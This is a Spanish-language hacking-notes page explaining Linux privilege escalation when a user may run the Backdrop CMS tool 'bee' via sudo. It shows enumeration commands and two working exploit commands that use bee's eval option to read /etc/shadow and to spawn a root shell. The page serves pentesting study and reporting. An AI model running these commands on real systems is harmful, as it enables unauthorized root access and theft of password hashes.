> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md).

# Sudo binario bee - Escalada de privilegios en Linux

Notas de sudo (binario bee) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

La escalada de privilegios en sudoers comienza con los comandos que un usuario puede ejecutar a través de `sudo`. Los binarios mal configurados, los argumentos de script inseguros, el manejo de enlaces simbólicos y las versiones vulnerables de sudo pueden convertir permisos limitados de sudo en una shell de root. Esta página específica se centra en **Sudo (binario Bee)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
sudo -l
sudo --version
```

## Ejemplos

### **Escalada de privilegios con el binario Bee**

Comprobamos los privilegios de sudo:

```bash
sudo -l
```

Podemos ejecutar **/usr/local/bin/bee** como root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f24d3737f30f7efe05aa128faaa4d6d23e277e9c%2Fimage%20(645).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de Bee**

{% hint style="info" %}
Bee es una herramienta de administración para **Backdrop CMS**, similar a **Drush** para Drupal. Permite la ejecución de varios comandos.
{% endhint %}

`Uso: bee [opciones-globales] [opciones] [argumentos]`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d412d26b585e1d1c1f44048436f99dc13e183fb5%2Fimage%20(646).png?alt=media" alt=""><figcaption></figcaption></figure>

Identificamos la opción **eval** opción, que permite la ejecución de código PHP arbitrario.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6adc0a0848bf8e4378a80347ee7664bca75f76e4%2Fimage%20(647).png?alt=media" alt=""><figcaption></figcaption></figure>

**Leer /etc/shadow**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fdc0fd20adf91a65dbdaaf26f8c10a680141a43%2Fimage%20(649).png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell de root obtenida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c84bf1122334818882ac43099f12872be39a876a%2Fimage%20(650).png?alt=media" alt=""><figcaption></figcaption></figure>


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